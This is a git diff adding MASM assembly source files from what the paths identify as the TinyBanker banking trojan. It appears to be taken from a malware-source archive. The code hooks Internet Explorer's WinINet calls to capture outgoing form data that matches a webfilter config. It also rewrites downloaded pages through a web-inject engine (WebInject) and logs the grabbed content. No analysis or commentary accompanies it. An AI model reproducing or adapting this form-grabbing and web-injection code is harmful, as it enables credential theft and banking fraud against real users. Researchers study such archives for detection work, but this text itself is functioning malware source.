0, 0, p4, p5 + + ret +hHttpSendRequestW endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc new file mode 100644 index 0000000..ba4e77f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetCloseHandle.inc @@ -0,0 +1,19 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetCloseHandle is a InternetCloseHandle handler procedure ;; +;; ==================================================================================================== ;; +hInternetCloseHandle proc uses ebx p1 : dword + + GetBaseDelta ebx + + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpSendBuffersArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 + + invokx _InternetCloseHandle[ebx], p1 + + ret +hInternetCloseHandle endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc new file mode 100644 index 0000000..7572af1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetQueryDataAvailable.inc @@ -0,0 +1,30 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetQueryDataAvailable is a InternetQueryDataAvailable handler procedure ;; +;; ==================================================================================================== ;; +hInternetQueryDataAvailable proc uses ebx ecx p1, p2, p3, p4 : dword + + GetBaseDelta ebx + + + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + jmpz eax, @real + + mov eax, [eax+4] ;; ptr to data buff with its len in 1st dword + mov ecx, [eax] ;; data len + mov eax, p2 ;; ptr to lpdwNumberOfBytesAvailable + mov [eax], ecx ;; return data len to caller proc + xor eax, eax + inc eax + jmp @ret + + +@real: + invokx _InternetQueryDataAvailable[ebx], p1, p2, p3, p4 + +@ret: + ret +hInternetQueryDataAvailable endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc new file mode 100644 index 0000000..4639767 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFile.inc @@ -0,0 +1,129 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetReadFile is a InternetReadFile handler procedure ;; +;; ==================================================================================================== ;; +hInternetReadFile proc uses ebx ecx edi esi p1, p2, p3, p4 : dword + local dwAvailable : dword + local dwBytesRead : dword + + + + GetBaseDelta ebx + + + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + jmpnz eax, @giveback ; give back + + + mov eax, lpWebInjectsData[ebx] + add eax, 4 ;; injects data ptr + invokx &GetInject[ebx], p1, eax + jmpz eax, @real ;; collecting not need + + + invokx &ArrayKeyBuff[ebx], lpReadBuffersArray[ebx], p1 + jmpz eax, @real ;; failed to alloc collecting buffer + + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + invokx &ArrayKeyPos[ebx], lpSockHandlesArray[ebx], 0 + mov ecx, p1 + mov [eax], ecx + + invokx _InternetSetStatusCallback[ebx], p1, &InternetStatusCallback[ebx] + mov lpRealCallbackProc[ebx], eax + + m2m dwAvailable, p3 + jmp @readmore + + +@available: + invokx _InternetQueryDataAvailable[ebx], p1, &dwAvailable, 0, 0 + jmpnz eax, @F + invokx &Pending[ebx], p1 ;; ERROR_IO_PENDING + jmp @available +@@: + + cmp dwAvailable, 0 + je @webinject ;; no more data available + + +@readmore: + mov ecx, BUFFERLEN-RESERVE + sub ecx, [esi] + jmpz ecx, @webinject ;; if no more space in buffer to collect data + cmp ecx, dwAvailable + jae @F ;; if enought space in buff + mov dwAvailable, ecx ;; not enought space in buff + + +@@: mov dwBytesRead, 0 + invokx _InternetReadFile[ebx], p1, edi, dwAvailable, &dwBytesRead + jmpnz eax, @F + invokx &Pending[ebx], p1 ;; ERROR_IO_PENDING + jmp @B +@@: + + mov eax, dwBytesRead + add [esi], eax ;; new data len + add edi, eax ;; shift data end pointer + sub dwAvailable, eax + cmp dwAvailable, 0 + jne @readmore ;; read more available data + + jmp @available ;; get available data len + + +@webinject: + invokx &WebInject[ebx], p1, esi + + +@giveback: + invokx &ArrayKeyPos[ebx], lpReadBuffersArray[ebx], p1 + mov esi, [eax+4] ;; ptr to data len + lea edi, [esi+4] ;; ptr to data start + + + ;; return data to caller + mov ecx, [esi] ;; data len + cmp ecx, p3 + jbe @F + mov ecx, p3 +@@: invokx &strcpyn[ebx], p2, edi, ecx + mov eax, p4 ;; lpdwNumberOfBytesRead + mov [eax], ecx + + + sub [esi], ecx ;; new data len + mov eax, [esi] ;; new data len + jmple eax, @endgive ;; no more data to give back + + + ;; shift data + add ecx, edi ;; ptr to new data start + invokx &strcpyn[ebx], edi, ecx, eax + jmp @end + + +@endgive: + invokx &ArrayKeyDel[ebx], lpSockHandlesArray[ebx], p1 + invokx &ArrayKeyDel[ebx], lpReadBuffersArray[ebx], p1 + invokx _InternetSetStatusCallback[ebx], p1, lpRealCallbackProc[ebx] + + +@end: + xor eax, eax + inc eax + jmp @ret + + +@real: + invokx _InternetReadFile[ebx], p1, p2, p3, p4 + +@ret: + ret +hInternetReadFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc new file mode 100644 index 0000000..c057727 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetReadFileExA.inc @@ -0,0 +1,19 @@ + + +;; ==================================================================================================== ;; +;; hInternetReadFileExA is a InternetReadFileExA handler procedure ;; +;; ==================================================================================================== ;; +hInternetReadFileExA proc uses ebx edx p1, p2, p3, p4 : dword + + GetBaseDelta ebx + + invokx _InternetReadFileExA[ebx], p1, p2, p3, p4 + + mov edx, p2 + assume edx : ptr INTERNET_BUFFERS + DEBUG [edx].lpvBuffer, 0, 0 + assume edx : nothing + + ret +hInternetReadFileExA endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc new file mode 100644 index 0000000..3cda8b6 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IE/hInternetWriteFile.inc @@ -0,0 +1,57 @@ + +.code + +;; ==================================================================================================== ;; +;; hInternetWriteFile is a InternetWriteFile handler procedure ;; +;; Search current handle in array of send handles ;; +;; If handle found then grab currently send data ;; +;; ==================================================================================================== ;; +hInternetWriteFile proc uses ecx ebx esi edi p1, p2, p3, p4 : dword + local MyEAX : dword + + + + GetBaseDelta ebx + + invokx _InternetWriteFile[ebx], p1, p2, p3, p4 + jmpnz eax, @F + ret + + +@@: mov MyEAX, eax + + + invokx &IsGrabTerm[ebx], p1 + jmpz eax, @ret + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], p1 + jmpz eax, @ret ;; handle not found + + mov esi, [eax+4] ;; pointer to buff with previous grabbed data & its len in 1-st dword + + mov eax, [esi] ;; len of previous grabbed data + lea edi, [esi+eax+4] ;; pointer to end of previous grabbed data + + + + ;; check for data buff len limit + mov ecx, 12*KBYTE + sub ecx, eax ;; space left in buffer + jmpz ecx, @ret ;; no more space + mov eax, p4 + cmp ecx, [eax] + jbe @F + mov ecx, [eax] ;; ecx - len of data for grab + + + ;; grab +@@: add [esi], ecx ;; new len + invokx &strcpyn[ebx], edi, p2, ecx + + +@ret: + mov eax, MyEAX + ret +hInternetWriteFile endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc new file mode 100644 index 0000000..bdf2807 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/IsGrabTerm.inc @@ -0,0 +1,85 @@ + +.code + +;; ==================================================================================================== ;; +;; IsGrabTerm - decide grab or not ;; +;; __in lpData - pointer to data with method and url (len in first dword) ;; +;; Return: 0 - failed ;; +;; !0 - success ;; +;; ==================================================================================================== ;; +IsGrabTerm proc uses ecx edx edi esi dwHandle : dword + local lpWebFilterSt : dword + local lpWebFilterEnd : dword + + + + invokx &ArrayKeyPos[ebx], lpSendBuffersArray[ebx], dwHandle + jmpz eax, @ret ;; no stored connections for this handle + mov edi, [eax+4] ;; ptr to connection brief + + + ;; Parse ConfigFileData + xor eax, eax + mov esi, lpConfigFileData[ebx] + jmpz esi, @ret ;; if ConfigFileData not exist + lodsd + jmpz eax, @ret ;; if ConfigFileData len is 0 + + + ;; Search "\n[webfilter]\n" in ConfigFileData + lea ecx, [esi + eax] + invokx &StrIPos[ebx], esi, eax, "\n[webfilter]\n", 13 + jmpz eax, @ret + add eax, 12 + mov lpWebFilterSt, eax + + + ;; Search "\n[end]\n" after "\n[webfilter]\n" in ConfigFileData + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\n[end]\n", 7 + jmpz eax, @ret + inc eax + mov lpWebFilterEnd, eax + + +;; ================================================== ;; + xor edx, edx +@next: + + ;; Search "\n" (next string) between [webfilter] & [end] + mov ecx, lpWebFilterEnd + sub ecx, lpWebFilterSt + invokx &StrIPos[ebx], lpWebFilterSt, ecx, "\n", 1 + jmpz eax, @end + inc eax + cmp lpWebFilterEnd, eax + je @end + mov lpWebFilterSt, eax + + + xor esi, esi + inc esi ;; set grab flag modificator + cmp byte ptr[eax], "!" + jne @F + + dec esi ;; reset grab flag modificator + inc eax ;; next char + dec ecx ;; new len + + +@@: invokx &Compare[ebx], edi, eax, ecx + jmpz eax, @next + + + ;; Set Grab Flag + mov edx, esi + jmp @next + + +@end: + mov eax, edx + +@ret: + ret +IsGrabTerm endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc new file mode 100644 index 0000000..222767e --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/TrCntrl/WebInject.inc @@ -0,0 +1,197 @@ + +.code + +;; ==================================================================================================== ;; +;; WebInject - ;; +;; __in dwHandle - stored connection handle ;; +;; __in lpPageBuff - pointer to buffer with page for inject (len in first dword) ;; +;; ==================================================================================================== ;; +WebInject proc dwHandle, lpPageBuff : dword + local lpInjPtr : dword + local lpOptLen : dword + local lpInjEnd : dword + local lpInjEOF : dword + local lpDataBeforePtr : dword + local dwDataBeforeLen : dword + local lpDataInjectPtr : dword + local dwDataInjectLen : dword + local lpDataAfterPtr : dword + local dwDataAfterLen : dword + + + + pushad + mov eax, lpWebInjectsData[ebx] + jmpz eax, @ret ;; webinjects data not exist + mov ecx, [eax] ;; webinjects len + add eax, 4 + add ecx, eax + mov lpInjPtr, eax ;; webinject begin ptr + mov lpInjEOF, ecx ;; webinjects end ptr + + +@NextInject: + invokx &GetInject[ebx], dwHandle, lpInjPtr + jmpz eax, @ret ;; no more webinjects for this connection + mov lpInjPtr, eax ;; current webinject ptr (ptr to options) + mov lpOptLen, ecx ;; options len + + + mov eax, lpInjEOF + sub eax, lpInjPtr + invokx &StrIPos[ebx], lpInjPtr, eax, "\nset_url ", 9 + jmpnz eax, @F + mov eax, lpInjEOF +@@: mov lpInjEnd, eax ;; webinject end ptr + + +;; ================================================== ;; + + mov eax, lpInjPtr + mov lpDataBeforePtr, eax + mov lpDataInjectPtr, eax + mov lpDataAfterPtr, eax + + +@NextSubInj: + mov eax, lpInjEnd + sub eax, lpDataBeforePtr + invokx &StrIPos[ebx], lpDataBeforePtr, eax, "\ndata_before\n", 13 + jmpz eax, @NextInject ;; data_before not found inside this inject + add eax, 13 + mov lpDataBeforePtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataBeforePtr + jge @F + xor eax, eax +@@: mov dwDataBeforeLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataInjectPtr + invokx &StrIPos[ebx], lpDataInjectPtr, eax, "\ndata_inject\n", 13 + jmpz eax, @NextInject ;; data_inject not found inside this inject + add eax, 13 + mov lpDataInjectPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataInjectPtr + jge @F + xor eax, eax +@@: mov dwDataInjectLen, eax + + + mov eax, lpInjEnd + sub eax, lpDataAfterPtr + invokx &StrIPos[ebx], lpDataAfterPtr, eax, "\ndata_after\n", 12 + jmpz eax, @NextInject ;; data_after not found inside this inject + add eax, 12 + mov lpDataAfterPtr, eax + + dec eax + mov ecx, lpInjEnd + sub ecx, eax + invokx &StrIPos[ebx], eax, ecx, "\ndata_end\n", 10 + jmpz eax, @NextInject ;; data_end not found inside this inject + sub eax, lpDataAfterPtr + jge @F + xor eax, eax +@@: mov dwDataAfterLen, eax + + +;; ================================================== ;; + + mov esi, lpPageBuff + mov ecx, [esi] ;; page len + add esi, 4 ;; page start + lea edi, [esi+ecx] ;; page end + + + cmp dwDataBeforeLen, 0 + je @F + invokx &StrIPosEx[ebx], esi, ecx, lpDataBeforePtr, dwDataBeforeLen + jmpz eax, @NextSubInj ;; data_before not found inside this page + mov esi, ecx ;; ptr to data_inject place begin + + +@@: mov edx, esi ;; ptr to data_inject place end, or... + cmp dwDataAfterLen, 0 + je @F + mov eax, edi + sub eax, esi + invokx &StrIPosEx[ebx], esi, eax, lpDataAfterPtr, dwDataAfterLen + jmpz eax, @NextSubInj ;; data_after not found inside this page + mov edx, eax ;; ptr to data_inject place end + + +@@: xor eax, eax + .if dwDataAfterLen == eax + .if dwDataInjectLen == eax + mov edi, esi + .endif + .else + .if dwDataInjectLen != eax + .if dwDataBeforeLen == eax + mov esi, edx + .endif + .endif + .endif + + +;; ================================================== ;; + + invokx &StrIPos[ebx], lpInjPtr, lpOptLen, "L", 1 + jmpz eax, @shift + + + mov eax, edx + sub eax, esi + jmpz eax, @shift + invokx &InLog[ebx], esi, eax, INJECT_GRABBED + + + jmp @NextSubInj + + +;; ================================================== ;; +@shift: + ;; shift data + mov eax, esi + add eax, dwDataInjectLen + cmp eax, edx + je @F ;; shift not need + mov ecx, edi + sub ecx, edx ;; data len + lea edi, [eax+ecx] ;; new page end + invokx &strcpyn[ebx], eax, edx, ecx + + + ;; inject +@@: cmp dwDataInjectLen, 0 + je @F ;; inject not need + invokx &strcpyn[ebx], esi, lpDataInjectPtr, dwDataInjectLen + + +@@: mov esi, lpPageBuff + sub edi, esi + sub edi, 4 ;; page len + mov [esi], edi ;; set new len + + + jmp @NextSubInj + + +@ret: + popad + ret +WebInject endp + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc b/malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc new file mode 100644 index 0000000..9280c7b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/source/macro.inc @@ -0,0 +1,253 @@ + + +;; ==================================================================================================== ;; +GetBaseDelta macro reg + local @delta + + call @delta +@delta: + pop reg + sub reg, @delta +endm + + +m2m macro arg1, arg2 + push arg2 + pop arg1 +endm + + +jmpz macro reg, lbl + test reg, reg + jz lbl +endm + +jmpnz macro reg, lbl + test reg, reg + jnz lbl +endm + +jmps macro reg, lbl + test reg, reg + js lbl +endm + +jmpns macro reg, lbl + test reg, reg + jns lbl +endm + +jmple macro reg, lbl + test reg, reg + jle lbl +endm + + + + + +;; ==================================================================================================== ;; +DEBUG macro arg1, arg2, arg3 + ifdef DEBUGMODE + pushad + GetBaseDelta ebx + mov esi, arg2 + invokx _RtlGetLastWin32Error[ebx] + mov edi, eax + invokx &Debug[ebx], arg1, esi, arg3 + invokx _RtlSetLastWin32Error[ebx], edi + popad + endif +endm + + +;; ==================================================================================================== ;; +NOPS macro +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +nop +endm + + + +;; ==================================================================================================== ;; +;; Вызывается так: +;; vxinvoke ххх[ebx],var1[ebx],1,&var1[ebx],17 +;; где ххх - переменная содержащая адрес вызываемой функции +;; [ebx] - дельта(или любой другой, или вообще без регистра) +;; var1[ebx] - В качестве параметра передаётся значение переменной var1 +;; &var1[ebx] - В качестве параметра передаётся адрес переменной var1 +;; +;; +;; +;; +;; небольшое обновление +;; Теперрь можно делать так: +;; vxinvoke ххх[ebx],'some text',"other text",1,&var1[ebx],17 +;; +;; код сгенерируется такой: +;; call label1 +;; db 'some text' +;; db 0 +;; label1: +;; +;; и теперь можно передавать параметр в еах в любом месте. Кобанды &var1[ebx]генерируют такой код: +;; push eax +;; lea eax,var1[ebx] +;; xchg [esp],eax +;; и следовательно не портят еах +;; +;; +;; +;; +;; vxinvoke &xxx[ebx] - vizov polzovatelskoi proceduri +;; +;; +;; ==================================================================================================== ;; +vxpush macro arg1, useeax + local label1, label2 + + fSym substr ,1,1 + + ifidn fSym,<&> + var1 substr ,2 + if useeax eq 0 + lea eax, var1 + push eax + else + push eax + lea eax, var1 + xchg eax, [esp] + endif + + elseifidn fSym,<'> + call label1 + db arg1 + db 0 + label1: + + elseifidn fSym,<"> + call label2 + flag1 = 0 + forc char, + ifdif , <"> + if flag1 eq 1 + flag1 = 0 + ifidn , + db 13 + elseifidn , + db 10 + else + db "\" + ifidn ,<\> + flag1 = 1 + else + db "&char" + endif + endif + elseifidn ,<\> ;; trap the escape character and set the flag + flag1 = 1 + else + db "&char" + endif + endif + endm + if flag1 eq 1 + db "\" + endif + db 0 + label2: + + else + push arg1 + endif +endm + + +invokx macro fName, arglist : vararg + + useeax = 0 + count = 0 + for arg, + count=count+1 + ifidn , + useeax=useeax+1 + endif + endm + + Len sizestr + baseIn substr ,Len-3,3 + ifidn baseIn, + useeax=useeax+1 + endif + + + while count + index = 0 + for arg, + index=index+1 + if count eq index + vxpush arg, useeax + ifidn , + useeax=useeax-1 + endif + endif + endm + count=count-1 + endm + + + firstSymb substr ,1,1 +;; User proc call + ifidn firstSymb, <&> + funcName substr ,2,Len-1 + lea eax, funcName + call eax +;; Call proc addr in var + else + call fName + endif + +endm +